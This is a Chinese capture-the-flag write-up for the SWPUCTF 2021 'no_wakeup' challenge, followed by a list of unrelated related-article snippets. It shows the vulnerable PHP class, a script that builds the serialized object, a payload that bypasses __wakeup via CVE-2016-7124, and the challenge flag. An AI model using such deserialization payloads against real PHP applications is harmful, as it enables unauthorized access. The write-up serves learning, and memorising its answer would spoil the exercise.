[SWPUCTF 2021 新生赛]no_wakeup

[SWPUCTF 2021 新生赛]no_wakeup

考点

反序列化

一、题目

打开题目发现如下代码

image-20221016184115116

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> NSSCTF{58480194-3db4-490b-a0ed-6c086409f007}

二、WP

题目很简单,只需要使得admin=admin并且passwd=wllm,则可获取到flag,但是其中多了一个__wakeup的魔术方法,此魔术方法的调用条件:

当使用unserialize时被调用,可用于做些对象的初始化操作。

此魔术方法在CTF中经常利用到以下知识点:

__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

接下来我们编写payload

<?php
    class HaHaHa{


    public $admin="admin";
    public $passwd="wllm";
    }

    $a=new HaHaHa();
    echo serialize($a);

?>
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

image-20221016184957753

然后我们利用CVE-2016-7124,也就是刚刚的__wakeup()函数漏洞,绕过__wakeup()

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

image-20221016185119220

本文转载于网络 如有侵权请联系删除

相关文章

  • matplotlib圆环图/饼图显示比值

    构建一个显示的数值的函数,将plt.pie中的autopct=该函数即可。代码:importpandasaspd importmatplotlib.pyplotasplt importmatplotlibasmpl mpl.rcParams['font.size']=7.0#matplotlib设置全局字体 #创建两组数据 x1=[30,25,66,13,23] x2=[29,28,90,19,31] x_0=[1,0,0,0]#用于显示空心 labels=["Intron","Intergenic","UTR","Exon","CDS"]#标签 colors=["#FFDD55","#EE7700","#99FF99","#5599FF","#FF77FF"]#对应的颜色 #用于设置legend的字体和大小 font1={'family'

  • LeetCode MySQL 1321. 餐馆营业额变化增长(over窗口函数)

    文章目录1.题目2.解题1.题目表:Customer+---------------+---------+ |ColumnName|Type| +---------------+---------+ |customer_id|int| |name|varchar| |visited_on|date| |amount|int| +---------------+---------+ (customer_id,visited_on)是该表的主键 该表包含一家餐馆的顾客交易数据 visited_on表示(customer_id)的顾客在visited_on那天访问了餐馆 amount是一个顾客某一天的消费总额复制你是餐馆的老板,现在你想分析一下可能的营业额变化增长(每天至少有一位顾客)写一条SQL查询计算以7天(某日期+该日期前的6天)为一个时间段的顾客消费平均值查询结果格式的例子如下:查询结果按visited_on排序 average_amount要保留两位小数,日期数据的格式为(‘YYYY-MM-DD’)Customer表: +-------------+--------------+-

  • 事件相机特征跟踪-EKLT方法

    1.前言本推送介绍另一种特征跟踪方法,来自论文:”EKLT:AsynchronousPhotometricFeatureTrackingUsingEventsandFrames”。从基本思路上来说,也是对模板进行跟踪,但与事件相机特征跟踪-概率数据关联法不同在于,在跟踪时采用的是优化思想,优化运动参数,从而实现跟踪。2.基本思想上方为算法流程图,我们先看下半部分。传统相机图像分别提取x和y方向梯度图,然后根据特征跟踪的参数进行Warp到指定位置,然后根据假设运动速度获得预测的梯度图。上方为一段儿时间内事件积累而形成的灰度图。二者进行做差,优化得到真实速度v与最佳的跟踪参数p,实现一步跟踪。3.一些细节3.1特征追踪的参数特征追踪采用“从初始位置进行怎样的变化,才能到当前位置”实现追踪,包括了旋转与平移。示意图如下,表示从初始位置怎么运动到当前位置。实际优化过程中,是当前运动参数作为初始值,进行优化获得运动参数的增量,进行迭代更新,完成跟踪。3.2事件积累图事件积累图是从在当前特征位置,积累在区域内一段儿时间内的事件数据,得到的亮度变化图。积累时需要考虑极性,从而产生了亮度变化。换一句话

  • SaaS与产业互联网的相辅相成

    来源 :ToB老人家 作者:王戴明 随着互联网势力的进一步扩张,线上线下的融合正在加速。在互联网巨头的鼓吹和推动下,数字化转型已经成为一股洪流,席卷了整个中国企业界。 在这场时代的洪流中,我们可以看到两股具有代表性的力量。一股是SaaS厂商,他们为企业提供数字化转型的工具;一股是产业互联网,他们直接参与交易流程,或者为交易方提供平台化服务。两股力量在时代的舞台上共舞,他们有着不同的路径,但是却背负着同样的命运。哀伤的冰之歌 早期的SaaS厂商都是从小企业起步,比如快消品领域的外勤365。因为互联网工具的低成本属性,对小企业具有巨大的吸引力。但是,对于管理类软件,小企业付费意愿有限,加上生命周期短,小企业根本支撑不了SaaS的盈利。大企业虽然有更强的付费意愿,但是个性化的需求很多,导致SaaS厂商不得不进行定制化的交付。这带来了一个质疑,SaaS厂商到底是一家互联网公司,还是一家定制软件公司?定制化软件会带来一系列问题:漫长的项目周期、高企的人力成本和回款风险,这对SaaS厂商的估值产生了很大影响。一部分SaaS厂商则尝试通过PaaS来解决定制化的问题。这虽然是在国外验证过的成功经验,但

  • 基于TensorFlow的CNN实现Mnist手写数字识别

    本文实例为大家分享了基于TensorFlow的CNN实现Mnist手写数字识别的具体代码,供大家参考,具体内容如下一、CNN模型结构输入层:Mnist数据集(28*28)第一层卷积:感受视野5*5,步长为1,卷积核:32个第一层池化:池化视野2*2,步长为2第二层卷积:感受视野5*5,步长为1,卷积核:64个第二层池化:池化视野2*2,步长为2全连接层:设置1024个神经元输出层:0~9十个数字类别二、代码实现importtensorflowastf #Tensorflow提供了一个类来处理MNIST数据 fromtensorflow.examples.tutorials.mnistimportinput_data importtime #载入数据集 mnist=input_data.read_data_sets('MNIST_data',one_hot=True) #设置批次的大小 batch_size=100 #计算一共有多少个批次 n_batch=mnist.train.num_examples//batch_size #定义初始化权值函数 defweight

  • 基于FPGA的图像边缘检测系统(二)-原理

    基于FPGA的图像边缘检测系统(二)-原理参考文献:手把手教你学FPGA设计:基于大道至简的至简设计法 基于VIP_BoardBig的FPGA入门进阶及图像处理算法开发教程-V3.0 整个系列文章如下:基于FPGA的图像边缘检测系统(一)-原理基于FPGA的图像边缘检测系统(二)-原理基于FPGA的图像边缘检测系统(三)-设计实现文章目录基于FPGA的图像边缘检测系统(二)-原理[基于FPGA的图像边缘检测系统(一)-原理](https://blog.csdn.net/Pieces_thinking/article/details/83150325)[基于FPGA的图像边缘检测系统(二)-原理](https://blog.csdn.net/Pieces_thinking/article/details/83274412)[基于FPGA的图像边缘检测系统(三)-设计实现](https://blog.csdn.net/Pieces_thinking/article/details/83275171)一、背景介绍二、设计要求三、基本原理3.1PLL3.2OV76703.2.1I2C时序写入设

  • 后疫情时期高校复学防控指南解读

    点击观看大咖分享背景及意义2019年底,一场没有硝烟的战役不期而至。突然爆发的疫情对全国乃至全球都造成了巨大的影响。针对全国发生的新型冠状病毒肺炎疫情,习大大多次作出重要指示,强调要把人民群众生命安全和身体健康放在第一位,制定周密的方案,组织各方面的力量来开展防控,采取切实有效的措施,坚决抑制疫情的蔓延。为了精准地指导高校做好疫情防控,维护高校师生员工生命健康安全,保障高校各项工作平稳恢复。结合我们这个高校,学生来源地域广、人群聚集密度大、社会关注度高的这个特点,教育部应对新型冠状病毒肺炎疫情工作领导小组办公室委托中南大学牵头组织编写了高等学校新型冠状病毒肺炎防控指南。这个指南会同了我们国内九所高校专家一起编写,由人民卫生出版社出版,并且提供免费的电子书和查询以及下载。这个指南对各个层次的学校做好疫情应对工作具有很强的操作性,也可以作为预警防控期间,师生必备的口袋书。同时,为了帮助这个高校师生能够更好的理解该指南,中南大学湘雅医学院师生共同编制了配套的在线课程叫做高等学校师生新型冠状病毒肺炎防控指引。这个课程系统地介绍了新冠肺炎的基本防护知识等内容,通过图片、动画、视频、案例等多种形式

  • 未来可期的TypeScript

    文章由腾讯IMWeb团队授权,高级工程师@郭翔分享。IMWeb团队隶属腾讯公司,是国内最专业的前端团队之一。专注前端领域多年,负责过QQ资料、QQ注册、QQ群等亿级业务。目前聚焦于在线教育领域,精心打磨腾讯课堂、企鹅辅导及ABCmouse三大产品。正文从这开始~~讲述了自己从一名TypeScript抵制者转变为支持者的心路历程,以及TypeScript在在线教育团队中的实践经验,并对团队新项目是否该引入TypeScript、如何快速搭建、以及现有项目如何向TypeScript迁移提供策略性建议与方案。2019年,越来越多的知名前端开源项目选择使用TypeScript做为其新版本的开发语言,TypeScript的社区支持也日趋完善,VSCode+TypeScript的组合拳让不少原本持怀疑,甚至抵制态度的前端开发者们不禁喊出“真香!”。然而,无论是在大公司还是中小型公司中,依旧有相当多的前端工程师对TS有着理解偏差。TS的官方文档也过于技术性,并没有对TS的诞生原因,所要解决的问题等做细致的解释。所以本次演讲并不会关注太多TS本身的语法,高级用法这类话题,因为在这些方面,官方文档是更好的

  • 云开发如何解决serverless对端的最后一公里问题

    @(技术分享)前端圈从来不缺少新的技术、点子和话题,有些留下来了而有些则转瞬即逝。在决定一种新技术是否能够长久的所有因素里,最核心的必然是自身实力过硬能够经受住实践检验。而除此之外,这项技术所解决问题的广泛程度、受众群体规模等“非技术因素”也至关重要。比如一经问世便话题性十足的React时至今日不论是自身还是其优秀的效仿者们都仍旧高歌猛进,高性能的vdom和高效率的数据驱动开发模式固然是其立足的基本,但React能够高度普及的另一个关键因素也不容忽略,那就是它解决了前端开发最表面也是最广泛的问题:UI编程。这可以说是从前端这一岗位自诞生以来最核心的关注点,而且不论什么类型的web应用都无法脱离它。但是很少人知道React的数据驱动UI的模式早在2011年的D3.js中就有很成熟的应用,一个重要的原因是面向SVG编程的D3.js受众群体太小,只有从事SVG数据可视化编程的人才会使用它,所以没有很高的传播度。之所以讲React和D3,是因为今天我们要讨论的是一种不论从普及的速度上还是话题性上都非常惊人的技术理念-Serverless。Serverless解放了后端和运维,前端呢?业内对于S

  • 【原创】从地图到线路规划 (七)

    地图领域还有图吧、腾讯等其他产品。基于历史、市场、技术的沉淀,百度和高德在用户数上保持领先,至于图吧和腾讯地图,用户数相对要少,没有可比性。百度和高德总是有人拿来比较,如下有两篇文章写了,姑妄看之(链接直达):https://coffee.pmcaff.com/article/25085149424108/pmcaff?utm_source=forum&from=related&pmc_param%5Bentry_id%5D=1000000000131376https://www.xzbu.com/8/view-8899750.htm百度和高德都在进化,当前总有不完美的地方,假如,高德地图api定位在移动端显示定位失败,我们可以尝试采用百度地图获取经纬度,然后回传给高德api转化坐标。这么看来,其实两者可以结合起来用形成互补。这里要先解决坐标系转换和偏移两个问题。为什么会发生偏移?坐标系之间其实是不兼容的,如在百度地图上定位的经纬度拿到高德地图上直接描点就肯定会发生偏移;各厂商之间的坐标系是要转换才能使用的,市面上共有三类地图坐标系:1.WGS84原始坐标系,直接从GP

  • Bootstrap Table批量(全选)删除

    BootstrapTable批量(全选)删除,类似以下这样:思路 1:jsp页面,删除按钮<divclass="mytab"> <tableid="mytab"class="tabletable-hover"></table> </div>复制2:在columns里面,checkbox:true3:最主要的是js里面实现,删除按钮事件 获得要删除整条数据的id,并且传递给后端,在数据库进行操作部分js代码varpath=getContextPath(); $(function(){ $('#mytab').bootstrapTable({ method:'get', url:path+"/alarm/health",//请求路径 striped:true,//是否显示行间隔色 pageNumber:1,//初始化加载第一页 pagination:true,//是否分页 sidePagination:'ser

  • 面试官最讨厌的三种求职者

    职场人士在职业职业生涯中一定会面临求职和面试,想要面试过关需要三个条件:职业技能达标、问题回答得体、不犯致命错误。前两点很好理解,我们来看看第三个,面试过程中有些致命的错误表现,会让面试官反感,直接毙掉吧。言过其实,夸夸其谈  面试过程中是需要吹点儿牛逼滴,但是切忌夸夸其谈。这样做的后果有两个:第一个,面试官可能让你举出实例,甚至现场展示,比如写一段代码,详述一种算法,而实际上你只是随口吹嘘,那么接下来就尴尬了。第二个,面试官会通过你夸张的谈吐推断你华而不实,浮夸,不会踏实做事,不值得信任!不管是哪种后果,你的面试基本gameover了!聪明的做法是基于事实略做夸大,做足功课,经得住考验。急于知晓薪资  求职嘛,薪资是咱们很关心的一个方面。面试中讨论薪资的环节切忌表现的过于关切,甚至不断追问面试官各种福利待遇的细节,比如有没有免费班车呀,提供免费午餐不?有没有过节费呀?这位做其实很笨的。实际上,HR对于福利这块儿会做说明的,既然能知道答案,何必急着先问呢?这样做的后果就是面试官认为你斤斤计较,工作中可能更多的关注能得到什么,而不是能贡献什么,所以,公司不需要你这样的人!聪明的做法是:谈

  • 为什么Linux这么受欢迎?

    为什么要学习Linux?为什么学Linux,每个人都有自己的理由:Linux是免费的不用花一分钱,能够节约大笔的成本;Linux是开源的,你可以根据自已的需要修改源代码;Linux是开放的,有广泛的社区,关于Linux的讨论要远远高于windows操作系统;学习Linux可以更好的掌握计算机技术;Linux是未来发展的趋势,服务器,手机,掌上电脑,平板机很多都采用Linux操作系统;Linux有非常多的发行版本,你可以根据需要做出不同的选择;Linux让你多了一个选择,而且Linux下的病毒相比Window可以忽略不计;Linux是一种自由哲学,一种开源的信仰;最后Linux很好玩,让人着迷……。 Linux能做什么?世界上最快的超级计算机90%以上都使用Linux或类似操作系统,说明Linux速度快;而且简装的Linux(如LFS)估计也是特别适合老机器了;如果你听说过Android的话,你就会知道Linux将广泛应用于平板电脑和手机;如果你体验过ChormeOS,Googledoc,或者WebQQ的话,你会觉得操作方式有点仿Linux;还有很多软件一般都是现出类-Unix版本,然

  • android打包方法超过65k错误

    近日,AndroidDevelopers在Google+上宣布了新的Multidex支持库,为方法总数超过65K的Android应用提供了官方支持。如果你是一名幸运的Android应用开发者,正在开发一个前景广阔的应用,不断地加入新功能、添加新的类库,那么终有一天,你会不幸遇到这个错误:ConversiontoDalvikformatfailed:Unabletoexecutedex:methodIDnotin[0,0xffff]:65536这个错误是Android应用的方法总数限制造成的。Android平台的Java虚拟机Dalvik在执行DEX格式的Java应用程序时,使用原生类型short来索引DEX文件中的方法。这意味着单个DEX文件可被引用的方法总数被限制为65536。通常APK包含一个classes.dex文件,因此Android应用的方法总数不能超过这个数量,这包括Android框架、类库和你自己开发的代码。这个问题可以通过将一个DEX文件分拆成多个DEX文件解决。Facebook介绍了为Android应用开发的Dalvik补丁;AndroidDevelopers博客介绍

  • 179. 最大数

    给定一组非负整数,重新排列它们的顺序使之组成一个最大的整数。示例1:输入:[10,2] 输出:210复制示例2:输入:[3,30,34,5,9] 输出:9534330 说明:输出结果可能非常大,所以你需要返回一个字符串而不是整数。复制解:classSolution{ publicStringlargestNumber(int[]nums){ //int[]-->String[] String[]array=newString[nums.length]; for(inti=0;i<nums.length;i++){ array[i]=nums[i]+""; } //sortstring Arrays.sort(array,(sA,sB)->(sB+sA).compareTo(sA+sB)); //string[]->result StringBuildersb=newStringBuilder(); for(Strings:array){ sb.append(s); } returnsb.charAt(0)=='0'?&qu

  • 使用 Kubeadm 部署 Kubernetes(K8S) 安装 -- 持久化存储(NFS网络存储)

    使用Kubeadm部署Kubernetes(K8S)安装 使用Kubeadm部署Kubernetes(K8S)安装--Ingress-Ngnix Volume是Pod中能够被多个容器访问的共享目录。Kubernetes的Volume定义在Pod上,它被一个Pod中的多个容器挂载到具体的文件目录下。 Volume与Pod的生命周期相同,但与容器的生命周期不相关,当容器终止或重启时,Volume中的数据也不会丢失。要使用volume,pod需要指定volume的类型和内容(字段),和映射到容器的位置(字段)。 Kubernetes支持多种类型的Volume,包括:emptyDir、hostPath、gcePersistentDisk、awsElasticBlockStore、nfs、iscsi、flocker、glusterfs、rbd、cephfs、gitRepo、secret、persistentVolumeClaim、downwardAPI、azureFileVolume、azureDisk、vsphereVolume、Quobyte、PortworxVolume、ScaleIO。e

  • 96.木桶效应

    缓冲区的思维模式==fflush   #include<stdio.h>#include<stdlib.h>voidmain(){ FILE*read=fopen("1.txt","w"); if(!read){ printf("文件为空"); system("pause"); return; } fputs("你好a\n",read); fflush(read); fputs("你好b\n",read); fputs("你好c\n",read); fclose(read); system("pause");   } 缓存区的目的就是为了解决性能问题,提高程序运行效率. 生成大文件.   #include<stdio.h>#include<stdlib.h>#include<string.h>voidmain(){ FILE*read=fopen("D:/1/1.txt","wb"); if(!read){ printf("文件为空"); system("pause");

  • Linux命令 history

    history 历史查询命令,可以看到之前的执行操作。存储的数量可以由环境变量HISTSIZE控制。 选项:  n  history30 显示最近输入的30条命令  -c:将当前shell中的所有history信息都删除。  -r:将histfiles中的内容添加到shell的history中  -w:将目前的history内容添加到histfiles中  -a:将目前新增的history加入histfiles中,若没有加histfiles则加入到~/.bash_history   几个实用操作 [root@iZj6c1fa4tkhgpvnd9f12rZ~]#history10 320echo$$ 321echo$? 322history 323ss 324aliasdir="ls-l" 325dir. 326unaliasdir 327dir. 328history30 329history10 复制   第一列是命令的编号应该说是第几个吧,  [root@iZj6c1fa4tk

  • Intellij IDEA+Maven+SpringMVC+HiBernate

    转载请注明出处:Gaussic(一个致力于AI研究却不得不兼顾项目的研究生)。 访问GitHub下载最新源码:https://github.com/gaussic/SpringMVCDemo 如果一件事情你觉得难的完不成,你可以把它分为若干步,并不断寻找合适的方法。最后你发现你会是个超人。不要给自己找麻烦,但遇到麻烦绝不怕,更不要退缩。 电工查找电路不通点的最快方法是:分段诊断排除,快速定位。你有什么启示吗? 求知若饥,虚心若愚。 当你对一个事情掌控不足的时候,你需要做的就是“梳理”,并制定相应的规章制度,并使资源各司其职。

  • Celery定时任务|计划任务

    适用场景几点几分执行特定的任务 定时任务 配置这个无需多说了和上篇文章一样 任务函数 硬菜来了添加任务时候的写法 第一种: fromcelery_task.order_taskimportorder_add fromcelery_task.user_taskimportuser_add fromdatetimeimportdatetime #拼接得到执行任务的时间,得到的就是一个时间对象 v1=datetime(2019,7,21,16,53,00) print('执行任务时间:',v1) #转化成utc时间 v2=datetime.utcfromtimestamp(v1.timestamp()) print('执行任务的utc时间:',v2) #执行定时任务,调用apply_async,args是要传入的参数,eta是执行的时间 result=user_add.apply_async(args=[1,3],eta=v2) print(result.id)复制 这里面需要把时间转化成utc时区的时间,不然间隔十小时,自己推算即可 唯一变的就是传递参数的调用变成了appl

  • Redis从入门到深入-锁(17)

    1.锁 1.1基于特定条件的事务执行 业务场景 天猫双11热卖过程中,对已经售罄的货物追加补货,4个业务员都有权限进行补货。补货的操作可能是一系列的操作,牵扯到多个连续操作,如何保障不会重复操作? 业务分析 多个客户端有可能同时操作同一组数据,并且该数据一旦被操作修改后,将不适用于继续操作 在操作之前锁定要操作的数据,一旦发生变化,终止当前操作 解决方案 对key添加监视锁,在执行exec前如果key发生了变化,终止事务执行 watchkey1[key2.....] 复制 取消对所有key的监视 unwatch 复制 1.2基于特定条件的事务执行2 业务场景 天猫双11热卖过程中,对已经售罄的货物追加补货,且补货完成。客户购买热情高涨,3秒内将所有商品购买完毕。本次补货已经将库存全部清空,如何避免最后一件商品不被多人同时购买?【超卖问题】 业务分析 使用watch监控一个key有没有改变已经不能解决问题,此处要监控的是具体数据 虽然redis是单线程的,但是多个客户端对同一数据同时进行操作时,如何避免不被同时修改? 解决方案 使用set

相关推荐

推荐阅读